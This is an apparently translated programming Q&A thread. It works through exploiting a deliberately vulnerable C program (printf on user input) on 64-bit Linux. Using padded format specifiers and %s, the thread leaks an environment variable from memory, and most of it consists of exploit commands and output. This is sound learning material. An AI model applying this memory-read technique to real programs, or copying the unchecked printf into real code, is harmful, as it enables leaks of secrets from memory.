在64位操作系统中使用格式字符串漏洞读取环境变量

时间:2020-06-30 19:41:45

标签: linux security

我正在尝试通过使用格式字符串漏洞从环境中读取一个值。 此类漏洞已在整个Web上得到记录,但是我发现的示例仅涵盖32位Linux,而我的台式机则运行64位Linux。

这是我用来在其上运行测试的代码:

//fmt.c

#include  <stdio.h>
#include <string.h>

int main (int argc, char *argv[]) {
    
    char string[1024];

    if (argc < 2)
        return 0;

    strcpy( string, argv[1] );

    printf( "vulnerable string: %s\n", string );
    printf( string );
    printf( "\n" );
}

编译后,我放入测试变量并获取其地址。然后,将其作为参数传递给程序,然后添加一堆格式以便从中读取:

$ export FSTEST="Look at my horse, my horse is amazing."

$ echo $FSTEST
Look at my horse, my horse is amazing.

$ ./getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb

$ printf '\xcb\xef\xff\xff\xff\x7f' | od -vAn -tx1c
  cb  ef  ff  ff  ff  7f
 313 357 377 377 377 177

$ ./fmt $(printf '\xcb\xef\xff\xff\xff\x7f')`python -c "print('%016lx.'*10)"`            
vulnerable string: %016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.%016lx.
00000000004052a0.0000000000000000.0000000000000000.00000000ffffffff.0000000000000060.
0000000000000001.00000060f7ffd988.00007fffffffd770.00007fffffffd770.30257fffffffefcb.

$ echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c" | od -vAn -tx1c
  cb  ef  ff  ff  ff  7f  25  31  30  24  31  36  6c  78
 313 357 377 377 377 177   %   1   0   $   1   6   l   x

$ ./fmt $(echo '\xcb\xef\xff\xff\xff\x7f%10$16lx'"\c")
vulnerable string: %10$16lx
31257fffffffefcb

第十个值包含我要读取的地址,但是它不是用0填充,而是用值3125填充。

有没有一种方法可以正确填充该值,以便我可以使用'%s'格式读取环境变量?

1 个答案:

答案 0 :(得分:1)

因此,经过一段时间的尝试,我遇到了一种使用格式字符串漏洞读取环境变量的方法。 有点草率,但是嘿-可以。

所以,首先是平常。我创建一个环境值并找到它的位置:

$ export FSTEST="Look at my horse, my horse is amazing."

$ echo $FSTEST                                                                                                
Look at my horse, my horse is amazing.

$ /getenvaddr FSTEST ./fmt
FSTEST: 0x7fffffffefcb

现在,无论我如何尝试,都将地址始终放在格式字符串之间,因此我将地址移到后面并添加了自己的填充,因此我可以识别它并在需要时添加更多填充。 此外,python和我的环境没有遇到一些转义序列,因此我最终使用了python one-liner和printf的混合使用(由于第二个printf解析单个' %'-使用od / hexdump / whathaveyou测试它后,请确保删除此多余的'%'

$ printf `python -c "print('%%016lx|' *1)"\
  `$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00') | od -vAn -tx1c
  25  30  31  36  6c  78  7c  2d  2d  2d  2d  2d  2d  2d  2d  cb
   %   0   1   6   l   x   |   -   -   -   -   -   -   -   - 313
  ef  ff  ff  ff  7f
 357 377 377 377 177

解决了这一问题后,下一步就是找到填充或地址(如果幸运的话)。 我将格式字符串重复110次,但您的里程可能会有所不同:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '--------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|%016lx|...|--------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
0000000000000324|...|2d2d2d2d2d2d7c78|7fffffffefcb2d2d|0000038000000300|
00007fffffffd8d0|00007ffff7ffe6d0|--------

连续的“ 2d”值只是“-”的十六进制值 在添加更多的“-”用于填充和测试后,我得到了如下内容:

./fmt `python -c "print('%016lx|' *110)"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

因此,地址被推到最后一个格式的占位符。 让我们修改输出这些格式占位符的方式,以便可以更方便地操作最后一个:

$ ./fmt `python -c "print('%016lx|' *109 + '%016lx|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c78|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|00007fffffffefcb|------------------------------

它应该显示相同的结果,但是现在可以使用'%s'作为最后一个占位符。 替换'%016lx |'仅带有“%s |”将无法正常工作,因为需要额外的填充。因此,我只添加4个额外的'|'要补偿的字符:

./fmt `python -c "print('%016lx|' *109 + '||||%s|')"\
`$(printf '------------------------------\xcb\xef\xff\xff\xff\x7f\x00')

vulnerable string: %016lx|%016lx|%016lx|...|||||%s|------------------------------
00000000004052a0|0000000000000000|0000000000000000|fffffffffffffff3|
000000000000033a|...|2d2d2d2d2d2d7c73|2d2d2d2d2d2d2d2d|2d2d2d2d2d2d2d2d|
2d2d2d2d2d2d2d2d|||||Look at my horse, my horse is amazing.|
------------------------------

Voilà,环境变量被泄漏。

相关问题